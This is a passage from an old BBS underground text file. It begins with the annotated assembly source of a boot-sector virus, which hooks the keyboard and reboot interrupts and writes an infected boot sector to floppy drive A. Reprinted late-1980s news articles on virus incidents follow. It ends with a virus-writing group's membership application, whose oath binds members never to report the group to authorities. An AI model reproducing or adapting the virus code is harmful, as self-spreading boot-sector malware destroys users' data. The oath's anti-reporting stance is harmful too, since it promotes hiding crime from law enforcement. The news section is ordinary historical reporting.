  1341. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  1342. ; REASON UNKNOWN                                                        ;
  1343. ;-----------------------------------------------------------------------;
  1344. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  1345.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  1346.     DB   27H,0,3,2      ;
  1347.     DB   27H,0,4,2      ;
  1348.     DB   27H,0,5,2      ;
  1349.     DB   27H,0,6,2      ;
  1350.     DB   27H,0,7,2      ;
  1351.     DB   27H,0,8,2      ;
  1352.                         ;
  1353. ;A7C9A   LABEL     BYTE           ;
  1354.     DW   00024H              ;NOT USED
  1355.     DB   0ADH           ;
  1356.     DB   07CH           ;
  1357.     DB   0A3H           ;
  1358.     DW   00026H              ;
  1359.                         ;
  1360. ;L7CA1:                      ;
  1361.     POP  CX             ;NOT USED
  1362.     POP  DI             ;
  1363.     POP  SI             ;
  1364.     POP  ES             ;
  1365.     POP  DS             ;
  1366.     POP  AX             ;
  1367.     POPF                ;
  1368.     JMP  1111:1111      ;
  1369.                         ;
  1370. ;-----------------------------------------------------------------------;
  1371. ; IF ALT & CTRL & DEL THEN ...                                          ;
  1372. ; IF ALT & CTRL & ? THEN ...                                            ;
  1373. ;-----------------------------------------------------------------------;
  1374. NEW_09:  PUSHF                    ;
  1375.     STI                 ;
  1376.                         ;
  1377.     PUSH AX             ;
  1378.     PUSH BX             ;
  1379.     PUSH DS             ;
  1380.                         ;
  1381.     PUSH CS             ;DS=CS
  1382.     POP  DS             ;
  1383.                         ;
  1384.     MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
  1385.     IN   AL,60H              ;GET SCAN CODE
  1386.     MOV  AH,AL               ;SAVE IN AH
  1387.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  1388.                         ;
  1389.     CMP  AL,1DH              ;IS IT A [CTRL]...
  1390.     JNE  N09_10              ;...JUMP IF NO
  1391.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  1392.     JMP  N09_30              ;
  1393.                         ;
  1394. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  1395.     JNE  N09_20              ;...JUMP IF NO
  1396.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  1397.     JMP  N09_30              ;
  1398.                         ;
  1399. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  1400.     JNE  N09_30              ;...JUMP IF NO
  1401.                         ;
  1402.     CMP  AL,17H              ;IF [I]...
  1403.     JE   N09_X0              ;...JUMP IF YES
  1404.     CMP  AL,53H              ;IF [DEL]...
  1405.     JE   ACK_KEYBD      ;...JUMP IF YES
  1406.                         ;
  1407. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  1408.                         ;
  1409. N09_90:  POP  DS             ;
  1410.     POP  BX             ;
  1411.     POP  AX             ;
  1412.     POPF                ;
  1413.                         ;
  1414.     DB   0EAH           ;JMP F000:E987
  1415. OLD_09   DW   ?              ;
  1416.     DW   0F000H              ;
  1417.                         ;
  1418. N09_X0:  JMP  N09_X1              ;
  1419.                         ;
  1420. ;-----------------------------------------------------------------------;
  1421. ;                                                                       ;
  1422. ;-----------------------------------------------------------------------;
  1423. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  1424.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  1425.     OUT  DX,AL               ;
  1426.     CALL DELAY               ;
  1427.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  1428.                         ;
  1429.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  1430.     INT  10H            ;
  1431.     MOV  AH,2           ;SET CURSOR POS 0,0
  1432.     XOR  DX,DX               ;
  1433.     MOV  BH,DH               ;   PAGE 0
  1434.     INT  10H            ;
  1435.                         ;
  1436.     MOV  AH,1           ;SET CURSOR TYPE
  1437.     MOV  CX,0607H       ;
  1438.     INT  10H            ;
  1439.                         ;
  1440.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  1441.     CALL DELAY               ;
  1442.                         ;
  1443.     CLI                 ;
  1444.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  1445.                         ;
  1446.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  1447.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  1448.     MOV  SI,offset BEGIN - 128    ;
  1449.     MOV  CX,128              ;
  1450.     CLD                 ;
  1451.     REP  MOVSB               ;
  1452.                         ;
  1453.     MOV  DS,CX     ;CX=0          ;DS=0
  1454.                         ;
  1455.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  1456.     MOV  [(19H*4)+2],CS      ;
  1457.                         ;
  1458.     MOV  AX,0040H       ;DS = ROM DATA AREA
  1459.     MOV  DS,AX               ;
  1460.                         ;
  1461.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  1462.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  1463.                         ;
  1464.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  1465.     MOV  AX,0F000H      ;
  1466.     MOV  DS,AX               ;
  1467.     CMP  Word Ptr [0E502H],21E4H  ;
  1468.     POP  DS             ;
  1469.     JE   R_90           ;
  1470.     INT  19H            ;   IF NOT...REBOOT
  1471.                         ;
  1472. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  1473.                         ;
  1474. ;-----------------------------------------------------------------------;
  1475. ; REBOOT INT VECTOR                                                     ;
  1476. ;-----------------------------------------------------------------------;
  1477. NEW_19:  XOR  AX,AX               ;
  1478.                         ;
  1479.     MOV  DS,AX               ;DS=0
  1480.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  1481.     TEST AL,1           ;IF FLOPPY DRIVES ...
  1482.     JNZ  N19_20              ;...JUMP
  1483. N19_10:  PUSH CS             ;ELSE ES=CS
  1484.     POP  ES             ;
  1485.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  1486.     INT  18H            ;LOAD BASIC
  1487.                         ;
  1488. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  1489.                         ;
  1490. N19_22:  PUSH CX             ;
  1491.     MOV  AH,00               ;RESET DISK
  1492.     INT  13             ;
  1493.     JB   N19_81              ;
  1494.     MOV  AX,0201             ;READ BOOT SECTOR
  1495.     PUSH DS             ;
  1496.     POP  ES             ;
  1497.     MOV  BX,offset BEGIN          ;
  1498.     MOV  CX,1           ;TRACK 0, SECTOR 1
  1499.     INT  13H            ;
  1500. N19_81:  POP  CX             ;
  1501.     JNB  N19_90              ;
  1502.     LOOP N19_22              ;
  1503.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  1504.                         ;
  1505. ;-----------------------------------------------------------------------;
  1506. ; Reinfection segment.                                                  ;
  1507. ;-----------------------------------------------------------------------;
  1508. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  1509.     JNZ  RE_INFECT      ;...RE INFECT
  1510.                         ;
  1511. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  1512.     JMP  0000:7C00H          ;
  1513.                         ;
  1514. ;-----------------------------------------------------------------------;
  1515. ; Reinfection Segment.                                                  ;
  1516. ;-----------------------------------------------------------------------;
  1517. RE_INFECT:                   ;
  1518.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  1519.     MOV  CX,00E6H       ;   OURSELF
  1520.     MOV  DI,SI               ;
  1521.     PUSH CS             ;
  1522.     POP  ES             ;
  1523.     CLD                 ;
  1524.     REPE CMPSB               ;
  1525.     JE   RI_12               ;IF NOT EQUAL...
  1526.                         ;
  1527.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  1528.                         ;
  1529. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  1530.     MOV  BX,offset TABLE          ;FORMAT INFO
  1531.     MOV  DX,0000             ;DRIVE A: HEAD 0
  1532.     MOV  CH,40-1             ;TRACK 39
  1533.     MOV  AH,5           ;FORMAT
  1534.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  1535.                         ;
  1536. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  1537.     JB   RI_80               ;
  1538.                         ;
  1539. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  1540. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  1541.     MOV  BX,offset BEGIN          ;TRACK 40H
  1542.     MOV  CL,8           ;SECTOR 8
  1543.     MOV  AX,0301H       ;WRITE 1 SECTOR
  1544.     INT  13H            ;
  1545.                         ;
  1546.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  1547.     POP  ES             ;
  1548.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  1549.                         ;
  1550.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  1551.     MOV  AX,0301             ;
  1552.     INT  13H            ;
  1553.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  1554.                         ;
  1555. RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
  1556.     INT  19H            ;...FLAG AND REBOOT
  1557.                         ;
  1558. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  1559.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  1560.     JMP  JMP_BOOT       ;
  1561.                         ;
  1562. ;-----------------------------------------------------------------------;
  1563. ;                                                                       ;
  1564. ;-----------------------------------------------------------------------;
  1565. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  1566.                         ;
  1567.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  1568.     MOV  BX,0040H       ;
  1569.     MOV  DS,BX               ;
  1570.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  1571.     JMP  N09_90              ;
  1572.                         ;
  1573. ;-----------------------------------------------------------------------;
  1574. ; DELAY                                                                 ;
  1575. ;                                                                       ;
  1576. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  1577. ;-----------------------------------------------------------------------;
  1578. DELAY:   SUB  CX,CX               ;
  1579. D_01:    LOOP $              ;
  1580.     SUB  AH,1           ;
  1581.     JNZ  D_01           ;
  1582.     RET                 ;
  1583.                         ;
  1584. ;-----------------------------------------------------------------------;
  1585. ;                                                                       ;
  1586. ;-----------------------------------------------------------------------;
  1587. A7DF4         DB   27H,00H,8,2
  1588.  
  1589. COUNTER_1     DW   001CH
  1590. ALT_CTRL      DW   0
  1591. A7DFC         DB   27H,0,8,2
  1592. 
  1593. Downloaded From P-80 International Information Systems 304-744-2253
  1594. [2.10]
  1595.  
  1596.                            Virili In The News
  1597.                            ------------------
  1598.         This section deals with a large amount of stuff, basically, a bunch
  1599.     of viruses and stuff that have been in the newspapers and magazines cuz
  1600.     all of the damage they have done. Enjoy....
  1601.  
  1602.  
  1603.                       There's A Virus In My Software
  1604.  
  1605.                       Mischief-makers at the computer
  1606.                      are deliberately endangering data
  1607.  
  1608.                              By Philip J. Hilts
  1609.  
  1610.                         Washington Post Staff Writer
  1611.  
  1612.       The Washington Post Weekly Edition, Page #38.  May 23-29, 1988.
  1613.  
  1614.      Tiny programs that are deliberately cause mischief are epidemic among
  1615. computers and causing nervousness among those who monitor them.  Since the
  1616. first tests of the notion in 1983 that machines can catch and spread
  1617. "information diseases," the computer world has reached the point at which as
  1618. many as thirty instances of "computer virus" have been reported in the past
  1619. year, affecting tens of thousands of U.S. computers alone.
  1620.  
  1621.      Such viruses have been found at the National Aeronautics and Space
  1622. Administration, International Business Machines Corporation, the House of
  1623. Representatives, at least six universities, several major computer networks
  1624. such as Comp-u-serve and several businesses, including the world's largest
  1625. computer-service company, the $4.4 billion Electronic Data Systems
  1626. Corporation of Dallas, Texas.
  1627.  
  1628.      Written by malicious programmers, the viruses are sneaked into computer
  1629. systems by piggybacking them on legitimate programs and messages.  There,
  1630. they may be passed along or instructed to wait until a prearranged moment to
  1631. burst forth and destroy data.
  1632.  
  1633.      Hundreds of computers at the Hebrew University of Jerusalem and other
  1634. places in Israel were hit last fall by a virus designed to spread and then,
  1635. in one swipe on a Friday the thirteenth, destroy all data in any computer it
  1636. could reach.
  1637.  
  1638.      If not for an error by it's author, who has not been caught, the virus
  1639. could have caused devastation among micro-computers in Israel and other
  1640. nations.  The virus did not check to see whether it already had infected a
  1641. program and so infected some computers hundreds of times, crowding their
  1642. memories enough to call attention to itself.
  1643.  
  1644.      In a seven-month campaign, programmers in Israel hastened to find
  1645. infected machines and ensure that the smallest number would be affected
  1646. before Friday, May 13th.  Officials say they initially thought that the
  1647. infection was connected with the anniversary of the last day that Palestine
  1648. existed as a political entity but subsequently decided that it most likely
  1649. involved just Friday the thirteenth.
  1650.  
  1651.      Apparently, the campaign was successful; there has been no word of
  1652. substantial damage.  This past Friday the thirteenth is this year's only such
  1653. day.
  1654.  
  1655.      At the Aldus Corporation of Seattle, Washington, a major software maker,
  1656. executives are huddling with lawyers to try to determine whether
  1657. international spread of such diseases is illegal.  No virus cases have been
  1658. taken to court.
  1659.  
  1660.      At N.A.S.A. headquarters in Washington, several hundred computers had to
  1661. be resuscitated after being infected.  N.A.S.A. officials have taken
  1662. precautions and reminded their machines' users to follow routine computer
  1663. hygiene: Don't trust foreign data or strange machines.
  1664.  
  1665.      Viruses have the eerie ability to perch disguised among legitimate data
  1666. just as biological viruses hide among genes in human cells, then spring out
  1667. unexpectedly, multiplying and causing damage.  Experts say that even when
  1668. they try to study viruses in controlled conditions, the programs can get out
  1669. of control and erase everything in a computer.  The viruses can be virtually
  1670. impossible to stop if their creators are determined enough.
  1671.  
  1672.      "The only way to protect every-body from them is to do something much
  1673. worse than the viruses: Stop talking to one another with computers," says
  1674. William H. Murray, an information-security specialist at Ernst and Whinney
  1675. financial consultants in Hartford, Connecticut.
  1676.  
  1677.      Hundreds of programs and files have been destroyed by viruses, and
  1678. thousands of hours of repair or prevention time have been logged.
  1679. Programmers have quickly produced antidote programs with such titles as
  1680. "Vaccine," "Flu Shot," "Data Physician," "Syringe."
  1681.  
  1682.      Experts says known damage is minimal compared with the huge, destructive
  1683. potential.  They express the hope that the attacks will persuade computer
  1684. users to minimize access to programming and data.
  1685.  
  1686.      "What we are dealing with here is the fabric of trust in society," says
  1687. Murray.  "With computer viruses, we have a big vulnerability."
  1688.  
  1689.      Early this year, Aldus Corporation discovered  that a virus had been
  1690. introduced that infected at least five-thousand copies of a new drawing
  1691. program called Freehand for the Macintosh computer.  The infected copies were
  1692. packaged, sent to stores and sold.  On March 2, the virus interrupted users
  1693. by flashing this message on their screens:
  1694.  
  1695.      "Richard Brandow, publisher of MacMag, and its entire staff would like
  1696. to take this opportunity to convey their universal message of peace to all
  1697. Macintosh users around the world."
  1698.  
  1699.      Viruses are the newest of evolving methods of computer mayhem, says
  1700. Donn B. Parker, a consultant at SRI International, a computer research firm
  1701. in Menlo Park, California.  One is the "Trojan horse," a program that looks
  1702. and acts like a normal program but contains hidden commands that eventually
  1703. take effect, ordering mischief.  Others include the "time bomb," which
  1704. explodes at a set time, and the "logic bomb," which goes off when the
  1705. computer arrives at a certain result during normal computation.  The "salami
  1706. attack" executes barely noticeable results small acts, such as shaving a
  1707. penny from thousands of accounts.
  1708.  
  1709.      The computer virus has the capability to command the computer to make
  1710. copies of the virus and spread them.  A virus typically is written only as a
  1711. few hundred characters in a program containing tens of thousands of
  1712. characters.  When the computer reads legitimate instructions, it encounters
  1713. the virus, which instructs the computer to suspend normal operations for a
  1714. fraction of a second.
  1715.  
  1716.      During that time, the virus instructs the computer to check for other
  1717. copies of itself and, if none is found, to make and hide copies.  Instruction
  1718. to commit damage may be included.  A few infamous viruses found in the past
  1719. year include:
  1720.  
  1721. []   The "scores" virus.  Named after a file it spawns, it recently entered
  1722.      several hundred Macintosh computers at N.A.S.A. headquarters.  "It looks
  1723.      as if it searching for a particular Macintosh program with a name that
  1724.      no one recognizes," spokesman Charles Redmond says.
  1725.  
  1726.          This virus, still spreading, has reached computers in Congress'
  1727.      information system at the National Oceanic and Atmospheric
  1728.      Administration and at Apple Computer Incorporated's government-systems
  1729.      office in Reston, Virginia.  It has hit individuals, businesses and
  1730.      computer "bulletin boards" where computer hobbyists share information.
  1731.      It apparently originated in Dallas, Texas and has caused damage, but
  1732.      seemingly only because of its clumsiness, not an instruction to do
  1733.      damage.
  1734.  
  1735. []   The "brain" virus.  Named by its authors, it was written by two brothers
  1736.      in a computer store in Lahore, Pakistan, who put their names, addresses
  1737.      and phone number in the virus.  Like "scores," it has caused damage
  1738.      inadvertently, ordering the computer to copy itself into space that
  1739.      already contain information.
  1740.  
  1741. []   The "Christmas" virus.  It struck last December after a West German
  1742.      student sent friends a Christmas message through a local computer
  1743.      network.  The virus told the receiver's computer to display the
  1744.      greeting, then secretly send the virus and message to everyone on the
  1745.      recipient's regular electronic mailing list.
  1746.  
  1747.          The student apparently had no idea that someone on the list had
  1748.      special, restricted access to a major world-wide network of several
  1749.      thousand computers run by I.B.M.  The network broke down within hours
  1750.      when the message began multiplying, stuffing the computers' memories.
  1751.      No permanent damage was done, and I.B.M. says it has made repetition
  1752.      impossible.
  1753.  
  1754.      Demonstrations have shown that viruses can invade the screens of users
  1755. with the highest security classification, according to Fred Cohen of
  1756. Cincinnati, a researcher who coined the term "computer Viruses."  A standard
  1757. computer-protection device at intelligence agencies, he says, denies giving
  1758. access by a person at one security level to files of anyone else at a higher
  1759. level and allows reading but denies writing of files of anyone lower.
  1760.  
  1761.      This, however, "allows the least trusted user to write a program that
  1762. can be used by everyone" and is "very dangerous," he says.
  1763.  
  1764.      Computers "are all at risk," says Cohen, "and will continue to be... not
  1765. just from computer viruses.  But the viruses represent a new level of threat
  1766. because of their subtleness and persistence."
  1767.  
  1768.  
  1769. 1.) Computer "viruses" are actually immature computer programs.  Most are
  1770.     written by malicious programmers intent on destroying information in
  1771.     computers for fun.
  1772.  
  1773. 2.) Those who write virus programs often conceal them on floppy disks that
  1774.     are inserted in the computer.  The disks contain all programs needed to
  1775.     run the machine, such as word processing programs, drawing programs or
  1776.     spread sheet programs.
  1777.  
  1778. 3.) A malicious programmer makes the disk available to others, saying it
  1779.     contains a useful program or game.  These programs can be lent to others
  1780.     or put onto computerized: "bulletin boards" where anyone can copy them
  1781.     for personal use.
  1782.  
  1783. 4.) A computer receiving the programs will "read" the disk and the tiny virus
  1784.     program at the same time.  The virus may then order the computer to do a
  1785.     number of things:
  1786.  
  1787.     A.) Tell it to read the virus and follow instructions.
  1788.  
  1789.     B.) Tell it to make a copy of the virus and place it on any disk inserted
  1790.         in the machine today.
  1791.  
  1792.     C.) Tell it to check the computer's clock, and on a certain date destroy
  1793.         information that tells it where data is stored on any disk: if an
  1794.         operator has no way of retrieving information, it is destroyed.
  1795.  
  1796.     D.) Tell it not to list the virus programs when the computer is asked for
  1797.         an index of programs.
  1798.  
  1799. 5.) In this way, the computer will copy the virus onto many disks--perhaps
  1800.     all or nearly all the disks used in the infected machine.  The virus may
  1801.     also be passed over the telephone, when one computer sends or receives
  1802.     data from another.
  1803.  
  1804. 6.) Ultimately hundreds or thousands of people may have infected disks and
  1805.     potential time bombs in their systems.
  1806.  
  1807.  
  1808.               -----------------------------------------------
  1809.                     'Virus' infected hospital computers,
  1810.                     led to epidemic of software mix-ups
  1811.               -----------------------------------------------
  1812.                          From the San Diego Tribune
  1813.                                March 23, 1989
  1814.  
  1815.  
  1816.      BOSTON (UPI) -- A "virus" infected computers at three Michigan hospitals
  1817. last fall and disrupted patient diagnoses at two of the centers in what appears
  1818. to be the first such invasion of a medical computer, it was reported yesterday.
  1819.  
  1820.      The infiltration did not harm any patients but delayed diagnoses by
  1821. shutting down computers, creating files of non-existent patients and garbling
  1822. names on patient records, which could have caused more serious problems, a
  1823. doctor said.
  1824.  
  1825.      "It definitely did affect care in delaying things and it could have
  1826. affected care in terms of losing this information completely," said Dr. Jack
  1827. Juni, a staff physician at the William Beaumont Hospitals in Troy and Royal Oak,
  1828. Mich., two of the hospitals involved.
  1829.  
  1830.      If patient information had been lost, the virus could have forced doctors
  1831. to repeat tests that involve exposing patients to radiation, Juni said
  1832. yesterday.  The phony and garble files could have caused a mix-up in patient
  1833. diagnosis, he said.
  1834.  
  1835.      "This was information we were using to base diagnoses on," said Juni, who
  1836. reported the case in a letter in The New England Journal of Medicine. "We were
  1837. lucky and caught it in time."
  1838.  
  1839.      A computer virus is a set of instructions designed to reproduce and spread
  1840. from computer to computer.  Some viruses do damage in the process, such as
  1841. destroying files or overloading computers.
  1842.  
  1843.      Paul Pomes, a computer virus expert at the University of Illinois in
  1844. Champaign, said this was the first case he had heard of in which a virus had
  1845. disrupted a computer used for patient care or diagnosis in a hospital.
  1846.  
  1847.      Such disruptions could become more common as personal computers are used
  1848. more widely in hospitals, Juni and Pomes said.  More people know how to program
  1849. -- and therefore sabotage -- personal computers than the more specialized
  1850. computers that previously have been used, Pomes said.
  1851.  
  1852.      The problem in Michigan surfaced when a computer used to display images
  1853. used to diagnose cancer and other diseases began to malfunction at the 250-bed
  1854. Troy hospital in August 1988.
  1855.  
  1856.      In October, Juni discovered a virus in the computer in the Troy hospital.
  1857. The next day, Juni found the same virus in a similar computer in the 1,200-bed
  1858. Royal Oak facility, he said.
  1859.  
  1860.      The virus apparently arrived in a program in a storage disk that was part
  1861. of the Troy computer system, he said.  It probably was spread inadvertently to
  1862. the Royal Oak computer on a floppy disk used by a resident who worked at both
  1863. hospitals to write a research paper, he said.
  1864.  
  1865.       The virus also spread to the desk-top computers at the University of
  1866. Michigan Medical Center in Ann Arbor, where it was discovered before it caused
  1867. problems.
  1868.  
  1869.  
  1870.            "Prosecutor Wins Conviction In Computer Data Destruction"
  1871.  
  1872.                                September 21, 1988
  1873.  
  1874.  
  1875.      Fort Worth, Texas (AP) - A former programmer has been convicted of planting
  1876. a computer "virus" in his employer's system that wiped out 168,000 records and
  1877. was activated like a timb bomb, doing its damage two days after he was fired.
  1878.  
  1879.      Tarrant County Assistant District Attorney Davis McCown said he believes e
  1880. is the first prosecutor in the country to have someone convicted for destroying
  1881. computer records using a "virus."
  1882.  
  1883.      "We've had people stealing through computers, but not this type of case,"
  1884. McCown said. "The basis for this offense is deletion."
  1885.  
  1886.      "It's very rare that the people who spread the viruses are caught," said
  1887. John McAfee, chairman of the Computer Virus Industry Association in Santa Clara,
  1888. which helps educate the public about viruses and find ways to fight them.
  1889.  
  1890.      "This is absolutely the first time" for a conviction, McAfee said.
  1891.  
  1892.      "In the past, prosecutors have stayed away from this kind of case because
  1893. they're too hard to prove," McCown said yesterday. They have also been reluctant
  1894. because the victim doesn't want to let anyone know there has been a breach of
  1895. security."
  1896.  
  1897.      Donald Gene Burleson, 40, was convicted of charges of harmful access to a
  1898. computer, a third-degree feloy that carries up to 10 years in prison and up to
  1899. $5,000 in fines.
  1900.  
  1901.      A key to the case was the fact that State District Judge John Bradshaw
  1902. allowed the computer program that deleted the files to be introduced as
  1903. evidence, McCown said. It would have been difficult to get a conviction
  1904. otherwise, he said.
  1905.  
  1906.      The District Court jury deliberated six hours before bringing back the
  1907. first conviction under the state's 3-year-old computer sabotage law.
  1908.  
  1909.      Burleson planted the virus in revenge for his firing from an insurance
  1910. company, McCown said.
  1911.  
  1912.      Jurors were told during a technical and sometimes-complicated three-week
  1913. trial that Burleson planted a rogue program in the computer system used to store
  1914. records at USPA and IRA Co., a Fort Worth-based insurance and brokerage firm.
  1915.  
  1916.      A virus is a computer program, often hidden in apparently normal computer
  1917. software, that instructs the computer to change or destroy information at a
  1918. given time or after a certain sequence of commands.
  1919.  
  1920.      The virus, McCown said, was activated Sept. 21, 1985, two days after
  1921. Burleson was fired as a computer programmer, because of alleged personality
  1922. conflicts with other employees.
  1923.  
  1924.      "There were a series of programs built into the system as early as Labor
  1925. Day (1985)," McCown said. "Once he got fired, those programs went off."
  1926.  
  1927.      The virus was discovered two days later, after it had eliminated 168,00
  1928. payroll records, holding up company paychecks for more than a month. The virus
  1929. could have caused hundreds of thousands of dollars in damage to the system had
  1930. it continued, McCown said.
  1931. 
  1932. Downloaded From P-80 International Information Systems 304-744-2253
  1933.                    WEST COAST CORRUPTED ALLEGIANCE PRESENTS:
  1934.  
  1935.      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  1936.  
  1937.                    >> CORRUPTED PROGRAMMING INTERNATIONAL <<
  1938.                           >> MEMBERSHIP APPLICATION <<
  1939.  
  1940.      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  1941.                           (CPI is a sub-group of WCCA)
  1942.  
  1943. NOTE: The following information is of a totally confidential nature. We must
  1944.       question you in depth and thouroughly so that our knowledge and idea
  1945.       of you will be quite complete. Remember, it is the fate of our voting
  1946.       members who will decide upon your membership, as the result of your
  1947.       response to this questionarre. Please answer the following completely
  1948.       and to the best of your ability. Also note that we may decide to voice
  1949.       validate you or gather any other information through other sources and
  1950.       will discover if you have placed false or misleading information on
  1951.       this application.
  1952.  
  1953.  
  1954. PERSONAL INFORMATION:
  1955. -----------------------------------------------------------------------------
  1956.      Alias(es) You HAVE Used :
  1957.  Alias(es) You Currently Use :
  1958.          Your FULL REAL Name :
  1959.      Your Voice Phone Number :(###)###-####
  1960.       Your Data Phone Number :(###)###-####
  1961.         Your Mailing Address :
  1962.       Your City, State & Zip :
  1963.                     Your Age :
  1964.             Occupation/Grade :
  1965.   Place of Employment/School :
  1966.            Work Phone Number :
  1967.   Your Interests And Hobbies :
  1968.  
  1969. Are You IN ANY WAY Affiliated With ANY Governmental/Law Enforcement Agency?
  1970. If So, In What Way? (Such as FBI/Sheriff/Police/etc. YOU KNOW WHAT I MEAN)
  1971. :
  1972. :
  1973.  
  1974. Are You IN ANY WAY Affiliated With The Telephone Company Or Any Type Of Phone,
  1975. Data, Or Long Distance Type Of Company? If So, In What Way?
  1976. :
  1977.  
  1978.  
  1979. COMPUTER INFORMATION/EXPERIENCE
  1980. -----------------------------------------------------------------------------
  1981.   Computer Experience (time) :
  1982.   Modeming Experience (time) :
  1983.  BBS's You Frequent (Name/#) :
  1984.        Some Elite References :
  1985.      Computers You Have Used :
  1986.    Computer(s) You Are Using :
  1987.          Computer You Prefer :
  1988.     Languages You Have Tried :
  1989.      Languages You Know Well :
  1990.           Your Best Language :
  1991.       Have You Ever Phreaked :
  1992.      Do You Phreak Regularly :
  1993.         Have You Ever Hacked :
  1994.        Do You Hack Regularly :
  1995.        Have You Ever Cracked :
  1996.       Do You Crack Regularly :
  1997.     Ever Made A Virus/Trojan :
  1998.        Major Accomplishments :
  1999.                              :
  2000.  
  2001. INTERVIEW         
  2002. -----------------------------------------------------------------------------
  2003. Answer In 4 Lines Or Less:
  2004.  
  2005. What do you think Corrupted Programming International is?
  2006. :
  2007. :
  2008. :
  2009. :
  2010.  
  2011. When did you first hear about CPI?
  2012. :
  2013. :
  2014. :
  2015. :
  2016.  
  2017. Why do you want to be a member of CPI?
  2018. :
  2019. :
  2020. :
  2021. :
  2022.  
  2023. Do you know any of the members of CPI? Can you name any or the founders of CPI?
  2024. :
  2025. :
  2026. :
  2027. :
  2028.  
  2029. Have you considered the distribuition of Viruses/Trojans as a "crime"? Why
  2030. or why not? Have you ever considered the consequences that could result
  2031. from the acts of releasing a Virus/Trojan? (morally speaking?)
  2032. :
  2033. :
  2034. :
  2035. :
  2036.  
  2037. Have you written any text files? (On any underground type of subject)
  2038. :
  2039. :
  2040. :
  2041. :
  2042.  
  2043. Are you a member of any other group(s)? Can you name them and their HQ BBS?
  2044. :
  2045. :
  2046. :
  2047. :
  2048.  
  2049. What would you consider yourself if you were admitted into CPI, a programmer,
  2050. a phreaker, a distributor, a information gatherer, or a vegetable?
  2051. :
  2052. :
  2053. :
  2054. :
  2055.  
  2056. Why would you ever want to release or aid in releasing a potential virus/trojan
  2057. to the public?
  2058. :
  2059. :
  2060. :
  2061. :
  2062.  
  2063. Can you contribute to CPI? How?
  2064. :(do you have access to info concerning virus/trojans)
  2065. :(exceptional programmer?)
  2066. :(got connections?)
  2067. :(anything extraordinary?)
  2068.  
  2069.  
  2070. OATH
  2071. -----------------------------------------------------------------------------
  2072. Typing your name at the bottom of the following paragraph is the same as
  2073. signing your name on an official document.
  2074.  
  2075. authorities - As stated in the document below, the term authorities shall
  2076.               be defined as any law enforcement agency or any agency that
  2077.               is/may be affiliated with any law enforcement agency. Also,
  2078.               this includes any company or agency or person which is/may
  2079.               be involved with the telephone company or any telephone-type
  2080.               of service(s).
  2081.  
  2082. I [your name here] do solemnly swear never to report neither to my peers nor
  2083. the authorities the actions and duties performed by this group, Corrupted 
  2084. Programming International, on any account. Also, I realize that if I leave 
  2085. CPI and am no longer a member of CPI, it is my duty, as signed below, to uphold
  2086. the greatest confidence of CPI's activities, and I agree that any information I
  2087. may report to any one or any thing CANNOT be used against CPI and its members 
  2088. in a court of law. I fully understand that if I were to become affiliated with 
  2089. the authorities that it would be my duty to remove myself from any membership 
  2090. if my position presented itself as contradictory towards the group, CPI and its
  2091. members. I also comprehend that if I were to be confronted by the authorities,
  2092. it my duty as a CPI member, as signed below, is to never disclose or discuss 
  2093. CPI's activities to them; however, if I do, I fully agree that the information
